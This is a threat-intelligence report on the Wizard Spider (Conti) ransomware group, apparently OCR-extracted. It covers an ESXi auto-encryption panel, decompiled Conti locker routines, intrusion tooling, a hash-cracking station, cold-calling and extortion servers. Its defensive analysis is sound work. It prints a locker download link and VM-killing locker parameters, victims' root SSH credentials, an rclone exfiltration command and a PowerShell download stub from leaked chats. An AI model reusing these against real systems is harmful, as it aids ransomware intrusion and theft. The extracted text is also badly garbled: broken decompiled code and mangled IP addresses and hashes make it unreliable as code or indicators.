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What's new ?

The PRODAFT Threat Intelligence (PTI) team has assembled this report to provide
in-depth knowledge about Conti malware and the group of threat actors that use
it. Our team identified the group as Wizard Spider, and obtained visibility into its
operational environment.

This report provides unprecedented visibility into the structure, background,
and motivations of Wizard Spider. We've obtained command statistics, target country
statistics, command execution patterns, and other information on the group’s tactics,
techniques, and procedures. These include novel post-exploitation cracking solutions
and psychological tactics.

This is the first time a private company has successfully reported on the inner
workings of this group. By publishing it, the PTI team is bringing new, exclusive
information about Wizard Spider’s internal organization that can help inform its
targets' cybersecurity defenses.

All Wizard Spider victims identified in the C&C Panel have been informed through
official channels. Indicators of Compromise (IOCs) and references are provided at the
end of this report.

Please note that this report has two versions. The “Private Release” is provided to
law enforcement agencies, applicable CERTS / CSIRTS, and members of our U.STA.
Threat Intel Platform (with appropriate annotations and reductions). Likewise, the
"Public Release” is publicly disseminated for the purpose of advancing the global fight
against high-end threat actors and APTs.
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1 Introduction

This report shows the results of the PRODAFT Threat Intelligence (PTI) Team's
comprehensive investigation into the Wizard Spider cybercrime group. The group is
also known by the various malware variants it uses (Ryuk, Trickbot, and Conti, among others).
It is a financially motivated cybercrime group first identified in 2017, and may be one of
the wealthiest groups currently in operation, with total assets easily in excess hundreds of
millions of dollars.

The group's extraordinary profitability allows its leaders to invest in illicit research and
development initiatives. Wizard Spider is fully capable of hiring specialist talent, building new
digital infrastructure, and purchasing access to advanced exploits. It has also apparently
invested in its own panel-hosting cracking application and hired telephone operators to
cold-call victims and scare them into paying.

The PTI team has been actively tracking the Wizard Spider group since releasing our first
public report in Novemlber 2021. This prevented hundreds of ransomware attacks and
notified more than 128000 victims that were targeted by the group. These victims include
defense and aerospace companies, food producers, supply chain providers, hospitals,
government agencies, and critical infrastructure providers. We obtained visibility into critical
elements of the group's infrastructure and collected vital data onits kill chain, as shown below.

Intrusion
BazarlLoader

[ PSR . Cracking
fmmmmmemmo gy S Station

Extortion
Server

Encryption
Server

Public Leak

Locker Server

Software

Figure 1. Our visibility on the Wizard Spider’s operational environment.

Victim statistics by country and observations from the operational environment are provided
in detail in the following sections.

@ rroparT USTA. 4/ 35

DISCLAIMER : This document and its contents shall be deemed as proprietary and privileged information of PRODAFT and shall
be subjected to articles and provisions that have been stipulated in the General Data Protection Regulation and Personal
Data Protection Law No. 6698. It shall be noted that PRODAFT provides this information "as is" according to its findings, without
providing any legally applicable warranty regarding completeness or accuracy of the contents. Therefore, neither this report

nor any of its contents can be used as admissible proof before legal authorities.

https://t.me/learningnets



TLP:WHITE Wizard Spider Case Report

2 Executive Summary

Wizard Spider is a highly profitable cybercrime group that operates a number of
sophisticated malware variants in its attacks. The PTI team has been collecting data on
Wizard Spider’s operations since publishing its first report on Conti in November 2021.

Our team has discovered valuable new information about Wizard Spider and its relationship
to other cybercrime groups and software producers. This report contains technical analysis
on Wizard Spider's capabilities and its command structure, which includes a complex set of
sub-teams divided into software-specific groups. Wizard Spider is capable of managing
attacks from start to finish using its own distributed capabilities, assigning pre-attack
preparations to certain teams and post-exploitation tasks to others.

Spam Download Infection SystemBC Cracking Breach Encryption

> 0D 4

160M 5.5M 650K 128K ~750 ~100 ~5

Figure 2. Risks to contain Wizard Spider’s attack at each stage.

This report will help organizations prepare for highly coordinated cyberattacks that use
distributed command structures to exploit high-value targets. Its insights will help security
professionals protect sensitive data and assets from the multiple exploitation stages that
characterize a Wizard Spider attack. Note that risks and costs to contain these attacks
increase at later stages, as shown in Figure 2.

The PRODAFT Threat Intelligence team is publishing this data now to help information
security leaders detect and respond to attacks that use malware variants in Wizard Spider's
technology stack. Recent public leaks about the threat actors behind Conti ransomware
have pushed our publication deadline ahead of schedule. The PTI team has extensively
covered Conti ransomware in the past, and is now extending that investigation by publishing
new data and insights into the inner workings of Wizard Spider.
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3 Technical Analysis

This section outlines the tools, techniques, and tactics Wizard Spider uses to carry out
its attacks. It contains vital information about the group's distribution mechanism, locker
sample, intrusion server, extortion server, backup storage, and the hash cracking station.

Based on our observations, the team'’s attack starts with the mass-scale spam campaign
using QBot and proxy malware (SystemBC) with the help of compromised business email
conversations. Then, another team uses domain-based selection to pinpoint the valuable
targets for their ransom demands and deploy Cobalt Strike for lateral movement activities.
If the intrusion team successfully obtains the domain admin privilege, they deploy Conti's
ransomware strain. This section provides our findings on their operational environment.

3.1 Hypervisor Encryption Server

During the investigation, the PTI team discovered a unigue system used by the Wizard
Spider's sub-team that targets the hypervisor servers (e.g., VMWare ESXi) with the Conti
ransomware strain. After threat actors exfiltrate data from their victim's servers, they prepare
and upload a special locker software on their own Locker Software Server. This locker
software directly targets hypervisor servers and encrypts them, leaving a ransom note on
the desktop, in the characteristic style of a typical Conti ransomware attack.

Further investigation revealed that the attackers directly scanned and exploited hundreds of
VMware vCenter servers with Log4j (CVE-2021-44228) vulnerabilities.[3] Interestingly, several
scanner IP addresses were also used as Cobalt Strike C2 servers in the subsequent attacks.

3.1.1 Auto-Locker Deployment

At the time of our analysis, the PTI team detected and performed detailed analysis on
the following Hypervisor Encryption Server.

[e]e) 194.3797134 | United States | M247 Ltd

Table 1. Hypervisor encryption server details.

The PTI team'’s investigation into the target host allowed us to gain access to Wizard
Spider’'s auto-encryption panel. The panel expects several input to perform their
tasks. By inputting victim access credentials obtained via SOCKS IPs, threat actors
could drop locker malware directly onto victim's devices and servers. The SOCKS proxy IP
addresses that were used generally connect with Cobalt Strike servers used by Wizard Spider.

If this locker attack fails, threat actors will reuse the same locker software for other attacks.
Each of the fields on the panel has a specific role to play encrypting victims' servers.
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Figure 3 shows the auto-encryption panel filled with real victim data, and the below describes
the expected input of the system.

NCRFPTN
Socks list Threads Tests Status
104.194.11.240:64606 1 il L e
} PHP so module: o RUNNINg processes : 0
Locker file : encryptor [14.813 Mb]
@ _ ) RUN | STOP
| Browse... | No file selected. & = :

Locker link
http://192.169.7.136:80/do\ @
Exclude TXT file [/tmp/list.txt]

| Browse... | No file selected.

Socks version [4,5]
: o
Locker params

--path fvmfs/volumes --vmkiller --detach @

Save config | Reset config |

SSH List

SSH list
IP:USER:PASSWD

Add SSH | Remove all SSH

SSH Status Count checks Actions

10.1.0.28:root: QW4 %dc() @ -1 min ago [0] Delete

Figure 3. Hypervisor encryption system.

1. Socks Proxy List : Socks proxy provided by CobaltStrike or SystemBC to victim's internall
network.

Threads : Thread count for simultaneous tasks.

Locker File : Ransomware executable binary.

Locker Link : External victim-specific locker link to download locker file.
Excluded Files/Folders : Excluded paths for ransomware.

SOCKS Version : Socks Proxy version.

Locker Params : Ransomware executable parameters.

SSH Credentials : SSH Credentials of victim's servers.

Active Task : Shows active task’s status.

Management Buttons : Start and stop the tasks.

Cvov®® g0 unhkhwnN

—
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After locker panel activation, the software establishes a connection with the VPN using the
access keys on the victim's device. Immediately upon being seized, SSH credentials are
created for each victim’s virtual machine. The locker software's operations on the machine
can be tracked, as seen in Figure 4. Table 2 shows some of the example locker software
servers used by the Wizard Spider team to deploy Conti ransomware.

10.203.4.21:root:(*&"T2R()g OK DONE 23 min ago [1] Delete
k VM
ADS51
10.97.3.34:root:(*&"T2R()g OK DONE 27 min ago [1] Delete
10.97.3.41:root:(*& " T2R()g OK DONE 27 min ago [1] Delete

Skipp! 1

10.101.3.12:root:(*&”T2R{)g OK DONE 29 min ago [1] Delete
10.205.1.225:root:(*&"T2R() OK DONE 30 min ago [1] Delete
g

10.205.30.23:root:(*&"T2R() OK DONE 30 min ago [1] Delete
g Killing VM | ICA91

10.196.75.101:root:(*&"T2R  OK DONE 32 min ago [1] Delete
Og

10.206.67.12:root:(*&"T2R() OK DONE 34 min ago [1] Delete
g

10.205.1.227:root:(*&"T2R() OK DONE 36 min ago [1] Delete
9

10.196.4.103:root:(*&~T2R() OK DONE 42 min ago [1] Delete

9

Figure 4. Hypervisor encryption system in action.

16.12.2021 23.82.140.32 United States | LEASEWEB-USA-MIA-T1
16.12.2021 | 104.243.46.66 | United States | RELIABLESITE

16.12.2021 | 104.243.41.56 United States | RELIABLESITE

1712.2021 192.111.154.58 United States | DACEN-2

22.12.2021 | 104.243.46.66 | United States | RELIABLESITE
2312.2021 | 104.243.33.253 | United States | RELIABLESITE
24.12.2021 | 104.243.33.253 | United States | RELIABLESITE
26.01.2022 | 20922297162 | United States | RELIABLESITE
28.01.2022 | 185.25396.117 Netherlands M247 Ltd

2901.2022 | 20922297162 | United States | RELIABLESITE
30.01.2022 | 104.243.42.187 | United States | RELIABLESITE

Table 2. Locker software server details.
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3.1.2 Conti Ransomware

MD5 958060223 7fcf5cddé64fodd3cd8csbf
SHAI bed4208laacéebes010f64a1e397fa0ch257d7
SHA256 799fa73ddf4a98d0d71f213¢c3a70675af3ac42db0531f5d2e4a0e7c81256a4549

Table 3. Analyzed Conti sample.

The locker software is an executable file (ELF) compiled for é64-bit Linux systems used as
a Hypervisor Server encryptor by the Conti ransomware team. It has different features than
the encryption software (PE) used on Windows machines and is compiled dynamically. Upon
technical analysis by the PTI team, the software was found to be taking parameters as seen
in Figure 5.

char cvarl;
F uint uVard;
char *pcVar3;
V = Findhrg{param_1l,param_2,"--path");
if {cVarl != '"“0'y |
I = {char *)GethArg({param_l,param_2,"--path");
SetPath{pcVari);

= Findhrg{param 1l,param_2,"--£ile");

if {cVarl != "“0'y |

I i = {char *)GetArg({param_l,param_2,"--file");
§ SetFile{pcVari);
V = Findhrg{param_ 1l,param_2,"--size");
if {cVarl == '"%0') |

SetSize {0x19);
]

else |

Hex Decimal

i = {char *)| byte Oh 0 gm 2,"-—-size");

r£ = atoi {pcVa

switch{uvarZ) | char 0"

i case 10: wcharté  uD'

SetSize{uVard);

break;
defanlt:
printf({"paremeter --size cannct be %d\n", {(ulcng)uVar);
/* WARNING: Subroutine does not return */

exit {1);

case (Oxf:

Figure 5. Locker software command line argument handling.
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After receiving arguments from the threat actor, the malware checks whether the "detach”
feature is specified. If the feature is specified, the malware "forks”, terminating the parent
process and continuing with a "child” process on the victim system.

Then, the malware makes the necessary adjustments for encryption. Reverse engineering
studies showed that the malware performs "initialization” with the "Public Key" in ASN.1 format
using the "CryptoPP" library.

kool InitializeEncryptor (void)

r = malloc (0x300000) ;

= buffer != (woid *)0=x=0;

from 004d£c89 to 004dfc8d has its CatchHandler @ 004dfccd

004dfc% has its CatchHandler @ 004dfcal
Load

key + 8),
(Bu 1i

F*oery | from 004dfeecl to 004dfeoed has its CatchHandler @ 004dfccd

ri~5tringSource (&1 1 Vi

return

Figure 6. Locker software initialization of encryption method.

At the last stage, the malware uses a "callback” function for all the files it finds and follows
the path specified in the "path” argument. This “callback” function checks whether the
"—prockiller” feature is activated. The "—prockiller” feature searches for processes with names
specified in the "/proc” file system and checks if the related file is executable. The malware
immediately terminates every named process it finds in the file system. After the process
checking stage, the malware checks the extensions it contains. If the file extension is on the
list, the malware will refuse to encrypt that type of file. Figure 7 shows the locker parameters
obtained from ContiLeaks and verifies our findings.

Figure 7. Locker parameters (Source : ContiLeaks).
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undefined EncryptFull {file_info *param_1,uchar *param_2)

long lvarl;
8 char cVarZ;

_ off ¢ :

size_t H

ulong

uint *

size t H

lang ;

48 = 0;
1 = *{long *){param_1 + 8);

B Varid = lsesk (*({int *)param_1,0,0};

if {_Vari == -1} {

I

LogPrintf({"lseek () errcr.'n");
}
else |
do |
if {lVarl == 1 l_48) |

return 1;

] nbytes = 0x500000;

if {{long)sVart < 0x500001) |
]
uVar4d = read{*{int *)param_l,param_2,
[

if {{uVard == 0y || (uvard ==
pu¥ard = {uint *)__errnc_lecaticn{)
LogPrintf("read () errcr. bytes read: %d errnc = %d\n",uVard & Oxffffffff, (ulong)*puVari);
return 0;

]

] 1 1_48 = 1 1_48 + uVard;
ECRYPT_encrypt_bytes(param_1 + 0x44,param 2,param 2,uVard &
i = leseek (*({int *)param_1,-uVard,l);

if [ Vard == -1) |

= {uint *)__errnc_location()

LogPrintf{"lseek () error. cffset: %d errnc = id\n",-uVard & Oxff££££f£f, {ulong) *puvari);

return 0;

Vars = Wri:eFullDa:a{*{in: *)param_1,param_2,uVard);
} while ({cVarZ == "%x01");
i B LogPrintf("cannct write fulldata'n");

]
return 0;

Figure 8. Locker Software File Encryption Routine

Figure 8 shows the encryption routine that instructs the malware to encrypt all files in the
system and change the encrypted files' extension to ".conti.”
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3.2 Post-Exploitation Infrastructure

Before engaging the scenarios described above, threat actors use many different
methods to research targets, scan for vulnerabilities, and attempt zero-day exploits through
intrusion servers. We identified several intrusion servers belonging to Wizard Spider threat
actors. They contain tactics, techniques, and procedures of threat actors, purchased
zero-day exploits, connected server addresses, Bitcoin addresses marked for payment, and
various sensitive data on their operational environment. Threat actors kept notes to share
between the teams in the form of encrypted ZIP files.

3.2.1 Intrusion Servers

During the investigation of Wizard Spider’s intrusion servers, the PTI team obtained
visibility into multiple critical elements of the group's infrastructure. We obtained valuable
information on tools, user manual files, and existing techniques, tactics, and procedures that
threat actors use to test and attack victims' systems. Table 4 shows the two servers that are
associated to the Wizard Spider team.

cupertinosmilecom | 162.241.225.192 | United States | UNIFIEDLAYER-AS-1
xeyaze.com 23.106.215.66 United States | LEASEWEB-USA-SEA-10

Table 4. Intrusion server details.

The information detected on the intrusion servers has been correlated and confirmed with
lecak files published by Contileaks since February 27, 2022. These servers contain Conti's
locker files, Bazarloader samples, victim statistics, and Active Directory dumps of some
companies published by Conti in their victim blogs. Figure 9 shows the publicly accessible
files obtained from the intrusion server.

N ;F“
P B

®,

E\

SE

E.f

Figure 9. Publicly accessible files (toolset) obtained from the intrusion server.
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The PTI team discovered tools and techniques that are actively used by Wizard Spider
team members on the intrusion servers. Some of our findings can be verified using public
ContiLeaks, as seenin the Figure 10. The excerpt list of the tools detected on these servers are :

e Sharefinder.ps1 (Shared folder search)

e Seatbelt (Enumeration and credential dumping)
e Rubeus (Kerberos interaction and abuses)

e NTDSAudit (Active directory audit tool)

e PsTools, Process Explorer (System analysis)

e Secretsdump (Dump domain credentials)

e NSSM (Service management)

e Angry IP Scanner (Network reconnaissance)

e AdFind (Active Directory query tool)

e Net-GPPPassword (Credential dumping)

e Mimikatz (Memory dumping)

e Go-Loader-MVP (Custom scripts to load executable into memory)
e RClone (Data cloning tool)

e AnyDesk (Remote administration tool)

e FileZilla (FTP Client)

e SessionGopher (Saved session extraction tool)

0DaBNAeM HOBHLW I
[BbinenuTs ]

rclone |-—config /var/www/rclone.conf cc

CMOTPMM, BO3MOXHO remote yme O
pupyeM Ha npw nc c SFTP.
aeMm «n) New remote oMM «nN=»,
€ WMEHH npoayMaHHoe
TOYKH, Hanpumep,
C/IA_Ka4aeMm C Meru

uexue (OpdnanH)

auats Filezilla portable
-5 SYSTEM -p pw

1 hashes TO ecTb 4epe3 22 nopt, H

bTepHaTHBa EWE TWUE ?

Function AnyDesk |{

rosopw ewe pas
mkdir "C:\ProgramData\AnyDes live
# Download AnyDesk X yum
- E M N3aMTe OOoMenH-BaWo sesslon gophe
$clnt = new-object System.Ne
$url = "http://download.anydefl//github.con/Arvanaghi/SessionGopher
¢$file = "C:\ProgramData\AnyD

; i N remotely (-iL, -AllDomain, -Target)
$clnt.DownloadFile($url,$filg FIORE e aree

Figure 10. Toolkit sample of the Wizard Spider (Source : ContiLeaks.
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3.2.2 Exploitation Toolset

The Wizard Spider team uses custom toolkit that can exploit zero-day/one-day/n-day
vulnerabilities in their attacks in addition to public tools. The most recent one is the Log4j
vulnerability mentioned in previous sections. During the PTI team's analysis of Wizard Spider’s
intrusion servers, our analysts determined that the Wizard Spider team purchased and used
zero-day exploits from other threat actors and used current and public vulnerabilities. This
finding was corroborated with the information published by Contileaks as well. For simplicity,
only some of the samples are showed in this section. However, entire toolkit data can be
shared with the researchers upon request.

Upon detailed analysis of files on the intrusion server, the PTl team detected a domain named
hidusi.com in emergency.html file. Examining the domain logs of the file, our team determined
that Wizard Spider was currently managing a server that exploited the CVE-2021-40444
zero-day vulnerability.[5] This zero-day vulnerability impacts Microsoft Word and Microsoft
Explorer with malicious documents that deliver a customized version of Cobalt Strike BEACON.

"HEAD ; ibmit.html HTTP/1.1"

submit.html HTTP/1.1" .

ibmit.html HTTP/1.1"

"HEAD 5 ibmit.html HTTP/1.1"
"GET epend.cab HTTP/1.1" 42

"http://hi i.c C ) compatible; MSIE 7.0; Windows NT
WA f

Figure 11. Example usage of CVE-2021-40444 exploit.

In addition, a file named zero.exe was discovered on the same server. Upon analysis, it
appeared to establish a connection with the Security Account Manager's database on the
target system with administrator’s account credentials using ZerolLogon vulnerability. To
trigger the corresponding exploit, the threat actor must provide the following parameters :
Target IP Address, Domain Controller Name, Domain Name, and Admin Username. The same
exploit and its usage can be found in ContiLeaks's public release (internal TrickBot forum).

r Location: [/

Name Type

& | K
{ zero.exe . 189.4kB DOS/Window... 28 January 2021, 03:09

Figure 12. ZeroLogon exploit.
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3.2.3 Cracking Station

The PTI team detected and performed a detailed analysis on the custom hash cracking
system of the Wizard Spider team. This system stores cracked hashes, updates threat
actors on the cracking status and shows the results of cracking attempts on other servers.
The system can crack the LM:NTLM hashes, cached domain credentials, Kerberos 5
TGS-REP/AS-REP tickets, KeePass files, MS Office 2013 files, and other types of common
hashes. Moreover, the cracking station features the following five elements :

1. The hash value (MD5, SHA, etc.) that the attackers wish to crack.
2. Description text that reflects individual victim information.
3. Priority value, which allows attackers to focus on high-value targets first.
4. Status text shows how the cracking process is going.
5. The result field contains the decrypted version of the hash value.
3AIIAHWSA BA3A TOI PE3VIIETATOB TIOJTB30OBATEJIM  BBEIXO[] J
Tasks queued: 161 Hashes processed: 0 Hashes cracked: 44
HobasaTs T i Craryc v
ownsTper COpocuTs | Tunwupo v| [Crarye v | [ npuoputer ~| [ nomk v| [ Noxasams 50 v Q
Task ID Type Hash Description Priority E-mail Status Result User Date m}
467 LM:NTLM 5c7bbb00d927172f8d24b75bc1216b47 \Administrator Normal Omuparne alex 28 wioH 11:08 a
466 LM:NTLM 3ad09bg5dada64562e60c4d53f92e5e6 \\Graffen Normal Oxmpanne o alex 28 wioH 11:07 (m]
465 LM:NTLM 609614BACF o Norm; Owmganme air 24 wioH 07:23 a
464 LMENTLM 74F65ESUSEZEQSBGFSQB5Eg\gg::?gf&:i;ﬁii&aABllEﬂDECB7764AOZBFADF Normal Jv— air 24 woH 07:23 a
FBEC033883FA72DD21ACA44787C3DD45470921A71ECD3D21FFA3CI6067F6
463 LM:NTLM 28285B0ABCOCGBDEY Normal Oxmpatne air 24 wioH 07:23 a
462 LMENTLM CESOIE72BQSADBDCSSB]ElEgyi:zllZEQDiZ;:ngDBSQDDOECBEABAQCEFAEAAAGEE Normal Omnare air 24 wioH O7:23 a
461 LMNTLM 5558‘387BAEAl303640962DCiDFB;;‘gf:éE;\\;SEBAC3555EB85096575FA1KQB Normal Onsganme air 24 wioH 07:23 a
460 LMNTLM CEAZEl57132532CDA653iBSEéEEigggDA;EZiDZBU(Z:HB&ABCB;BlBEdlACCB] 7634C24D5 Normal Prm— air 24 wioH 07:23 o

Figure 13. Management panel of the Cracking Station.

Figure 13 shows the management screen of the cracking station. While analyzing the hashes
inserted into the database by attackers, we detected a lot of Russian comments (as shown
in Figure 14). Apparently teams use comments as a simple communication tool. In addition
to communication, the privileged users track the activity to determine the workload of the
threat actors. Therefore, the cracking station plays a crucial role in the team'’s operationall
environment.

C65987489F3FOD3DAB74D6B424CD217D$93F 31 3EE428F0A0B647F 55051 A0D0238AE 18718864687 DSEBBAY1 7EB140FD79D439.... 9 2 ‘ Xell HyXeH BeCk, LENHKOM, NOMHOCTEH. He HAA0 YAANATE 13 Herol
TicketByleHexStream : g SANMN AN LENHKOM KaK OH CHANCH | O 3 @

Hash 2themans QLSvC SQLO.

$DCC28 7849161d 9 3 @

$DCC2 45631217 1 9 3
2ad3b435b51404eeaad3b435h51404ee:820a2007d2c7h9eadh423626558c58D e 9 2 8a0a2067d2cf7

SkrbStgs$238*inforservice§ COmSMSSQLSVE/SYT-SRVR com:1433*SD974955145B87E613. 9 2 SkrbStgs§235Hintorservices COmSMSSQLSVE/SYT-S|
SDCC2810240¢r0b) #0d62765963808357837008 T eeelced 9 3

$DCC2S i 1416716065 38966 9 @ 2 SDCC2$1C 1416716065 896
SkrbStgs$235*azure.mspSISW.INSitps://adis  In*$5D164CDA1EE2FCEABESFT28F3D0898BASASESBLEEE15DEBBY. N 9 2 SkrbSigs§235*PLVISIONS  INShitp/piserver in:4440°
SkrbSigs$235  ADFSO1S com$HOSTifs. com*$BBE1DEASF0577ACAFDAGSFDDO2Z4E2BSDS6DFS.... com 9 3
aad3p435b51404eeandap4ashs1404ee:dearb06508119bi6ddcasae6hcalTn7 o 1 5 1

4B414ff134becB3e59ab7 7caeefd786b ‘ -adm 5 1

Figure 14. Sample Russian comments in the system.
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We detected 32 active users in the cracking station (listed in Table 5), and this allowing us to
identify the threat actors behind the Conti ransomware attacks.

3 | admin 16-02-2022 | 2

4 | brut 28-02-2022 | O

6 rozetka 18-08-2021 | 8 rozetka@g3mcco35auwcstmt.onion

7 | dl 24-02-2022 | 10 adli@g3mcco35auwcstmt.onion

8 | fly 21-07-2021 10 fly@g3mcco35auwcstmt.onion

9 | andy 29-12-2021 2 andy@g3mcco35auwcstmt.onion

10 | slice 12-07-2021 3 slice@wfy7éwigkpoxgbeéb.onion

T | twin 19-07-2021 | 2 twin@btsxjckgStgag3viabwiZirpywlbw2fhébpmwiébzliofSvlyyvnjjxcad.onion
12 | alex 17-11-2021 28 alex@btsxjckg5StgagiviadbwiZirpywlow2fhé6pmwiébzlibfSvlyyvnjjxcad.onion
13 | stakan 18-02-2022 | 58 stakan@g3mcco35auwcstmt.onion

14 | chck 12-10-2021 24 chuck@Bazar

15 | sml 28-02-2022 | 158

16 | giovanni 26-01-2022 | 34 giovanni@wfy7éwigkpoxglbeb.onion

17 | fury 04-10-2021 | O fury@g3mcco35auwcstmt.onion

18 | air 13-02-2022 | 60 air@g3mcco35auwcstmt.onion

19 | red 25-02-2022 | 24 red@wfy7é6wigkpoxglbeb.onion

20 | shved 07-09-2021 | 6 shved@Bazar

21 | jack 03-11-2021 12 jack@éyp2jliwgdxmwyduxfaxbkjgm2txIxxb5akxn43cyaz3cjo2ggdéSyid.onion
22 | test12 28-07-2021 | O

23 | hasher 31-10-2021 4 hasher@wfy76wigkpoxgbeb.onion

24 | sargon 25-11-2021 il sargon@wfy7éwigkpoxgbeb.onion

25 | doyf 29-09-2021 | 21 doyf@wfy7éwigkpoxgbeb.onion

26 | grimnir 25-02-2022 | 20 grimnir@wfy7éwigkpoxgbedb.onion

27 | hagrid 29-12-2021 36 hagrideBazar

28 | prince 15-02-2022 | 49 prince@wfy7éwigkpoxgbed.onion

29 | rmm 21-02-2022 | 46

30 | sebastian | 10-12-2021 il sebastian@wfy76wigkpoxglbeb.onion

31 | terner 13-10-2021 1 terner@wfy7éwigkpoxgbeéb.onion

32 | baraka 16-02-2022 | 27 baraka@g3mcco3Sauwcstmt.onion

33 | donald 12-1-2021 1 donald@btsxjckgStgag3viabwiZirpywlbw2fhébpomwibzlbfSvlyyvnjixcad.onion
34 | sonar 28-02-2022 | 17 sonar@g3mcco35auwcstmt.onion

35 | eldorado | 13-02-2022 | O eldorado@btsxjckg5tgag3viabwiZirpywléw2fh6bpmwtézlbfSvlyyvnjixcad.onion

Table 5. Cracking station users.

Please note that the findings obtained from the cracking station can be verified
or enriched using the public ContiLeaks. For simplicity, we did not include any
de-anonymized information of the actors in this report. However, feel free to ask
for any specific details of the past ransomware attacks to identify the threat actor
behind the scene.
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3.2.4 Cold-Calling System

Wizard Spider team uses cold-calling to scare non-responsive victims into paying using
a custom VolIP system.[4] The internal conversation (as shown in Figure 15) between the
threat actors obtained from the ContiLeaks shows the features of the cold-calling systems.

tmt.onion",
tmt.onion",
oped a painless concept for data analysis and calls / blackmail. I proposed to Buz the following scheme:

separate reconnais e rocket. there a group on I s ere hacl e asked essure on or prepare this or that company.
we pass it on to ey make a dossier report. if blacks alls is requi i to the callers. In order fo lers
to work effecti and not to call into the air, as it is happ igh ] in touch with ar ts, they can request any additional
data from them le 7 part of the date 1i. or some kind of info about compute \ passwords
If the company does not make contact, i is transferred further for lication on the site. (to do this, you need to pull up either a reshaev
or some of hi pport in this chat) th nce of the problem with calls is such that most often when callir the caller gets to the reception where
some kind of tpshka does not know the situation at all. and in fact we just got you out of nowhere with such a call, you need some kind of proof to get
a result, and not just hang up or send calls ..

In principle, rything is already working, you just need to tune it up and so that hackers start using it. I pulled a gang of dereke, horsa, and
I11 pull the TSe ..

Figure 15. Internal conversation between the threat actors on the cold-calling system.

The PTI team successfully detected and analyzed the cold-calling system developed
by the threat actors (as shown in Figure 16). This system is used to store reports of calls,
helping various sulb-teams coordinate when pressuring victims further. Types of information
regarding each call are;

The unigue victim name set by threat actors.

Timestamp of the ransomware attack.

The group ID of the user responsible.

Called status shows "1" for successful calls and "0" for unsuccessful ones or calls not yet
made.

5. Internal ID (locked_id) used by Conti threat actors to track victims.

PN o

name locked_at | g_id | called locked id
test 1629590400 | 6 a ucBQi12vjQpifACvOXIMJjcf2sQIFCG IW29wmwckHbSeyoOrMNwEBgbHablWSPkSy
WWW. . .ca| 1626393600 0 AkLOuyywGSK80GIgmOUvpDSoxfdGZkxHcMGqJKFeAX caK foffiry LUWWINVQWVFol_
WWW 1.com 1629763200@ a 4GbbzmBasxGwIiSATCIKZnJApOkV1jNvy2kX0R1VSIRePVxaW3AmIt1z7GecDKHag
.com 1631145600 | 7 I} ORWOCEMoTDZrmdCVhbNiaPPhmTENFMLMHUTId9ICICOJLIOFMCKKIIWY xAKIBMSE_
.com 1631577600 | 7 a sE2opWO1SztzKNpX1tdeppViviPMMyNUghahYIZq6Zslsp5srvQyZkEsud7dhiluH_
de 1629244800 | 7 0 DThD8v1y0liBokoR6VKz0ee093GxgNhjKIwMOQtX3R9HtoCzqgRZeehOPlcmLhkN41_
Jocal 1631664000 | 8 1 LiRgh5cy9HbwSLGd4Z01kUIHjaUzCpCGHBBQXY nizss whdEhjiHLv1grQJ8Cxwk
.net 1631059200 | 9 0 kacEﬁBhMhQanZOthaOmrerngJ?t?mZSSQQSDHWAZBCdBKgWxHSSHWAxaH_
.net 1626393600 | 9 o DFIqtDdserzY Coffzn6AOLUNUJ7YdS2bEB2pSPyK4vTlayr4F050s50BpoGe227G_ ]
.org o 1624665600 | 9 1} Ar0rz7V6epdkkeJQ3XugLySMivx4663DczRmolRul7npd GBEvgriXHoxh8sXQFIkB---
.com 1626048000 | 9 a Twic28ktottHNEDIDwWNIZgxVQTxbovWQ2TZ8X6AHGUdgJifPrkk1pK9015NYK
e com 1623801600 | 9 I} WBySws3DpIPEEWBIBAKkYCxS04s]2S5140i4bRFOpTHNZQdmVaaDURUNOMWSIvstA,
.com 1622228000 | 9 0 pmM7oXQkSDT2yByZkmSurkpzmUiZcxL DIXgllisULLPbEnzwy TvANRNPKD3IVZWiwh_
.com 16ﬁ300 9 1] DCKdCwoBBy8exUkEVvSEREezclRwh1wa0iWXarscCwZABeywojzxrhai76S55xs6v_
com 1623369600 | 9 a nBkgMnCzeuVsYPPLIZQa60ZDObsctEUcPtovkKXwQIMTLLYEIMdBqtyqBtHd9aAZ]_
.com 1622592000 | 9 0 QuvkfiVietrBkwKDr2jcR19VDDXJ9LS520071sChdKEDIIX081c2dguxeeH4Kidv_

Figure 16. Custom cold-calling system of the Wizard Spider.
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3.2.5 Daily Cobalt Strikes Beacons

Threat actors generate Cobalt Strike beacons for each team on a daily bases as shown
in Figure 17. PTI team has been proactively monitoring all Cobalt Strike samples and notifying
the clients to prevent further ransomware attacks. They use different servers and domain
names for each sample to avoid detection. However, most samples connect to servers
(some of them are listed in Section 6é) residing in ReliableSite data center.

y.com.bin
/uw.com.bin
com.bin
com.bin

. com

mihoj
ribot

gi.c

moyan.com.bin

Doriz.com.bin
so.com.bin

Figure 17. Team formations and daily generated Cobalt Strike beacons.

The public ContiLeaks provided insight into the intrusion team's team structure and enriched
our findings. For instance, Figure 18 shows the team leaders and work-specific details. We
think that our findings and public leaks will shed light on the inner structures of the Wizard
Spider team.

Figure 18. Team leaders and work-specific details (source : ContiLeaks).
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Wizard Spider Case Report

3.3 Extortion Servers

The victim'’s stolen data is typically transferred to an extortion server (using rclone or similar
data transfer tool) via a proxy network established using Wireguard VPN before deploying
the ransomware. We detected several storage servers containing the victim's data during the
PTI team's investigation. Interestingly, we identified several folders belonging to the victims
who agreed to pay the ransom. This finding is an excellent example that we should not trust
ransomware operators. Table 6 shows the excerpt list of the storage servers.

WebDAV Extortion | 5191.770 France OVH SAS
WebDAV Extortion | 14194.143.79 France OVH SAS
WebDAV Extortion | 14194162156 France OVH SAS
FTP Extortion 199127.63.16 United States | RELIABLESITE
FTP Extortion 104.243.34.234 | United States | RELIABLESITE
FTP Extortion 104.243.42138 | United States | RELIABLESITE
Backup 46.148.23593 Russia SELECTEL

Table 6. Excerpt list of the storage servers.

3.3.1 REvil Relation

The extortion servers periodically transfer their data to a backup server in Russia, which has
a considerable disk size (~26TB). One of the most striking findings is that some of the victims
in the backup storage were attacked by the REvil ransomware gang around Q1/2021. It
presents a worrying example of the collaboration between the ransomware gangs. However,
we do not have any further information to confirm whether the Wizard Spider team carried
out these attacks or the stolen data transferred from REvil's servers into backup storage.

3.3.2 Proxy Network

The PTIl team determined that threat actors manage victim extortion processes and file
transfers through a proxy network using Web DAV service, as some of the parts of them are
shown in Table 7.

cantankerousnesss | 85.25.246.169 | Germany Host Europe GmbH
secularized 51.178.131.223 | France OVH SAS

flotations 45147160.196 | Netherlands | G-Core Labs

wells 45147160.5 Netherlands | G-Core Lalbs
effeminate 45147160.5 Netherlands | G-Core Lalbs
erratums 45147160.5 Netherlands | G-Core Lals

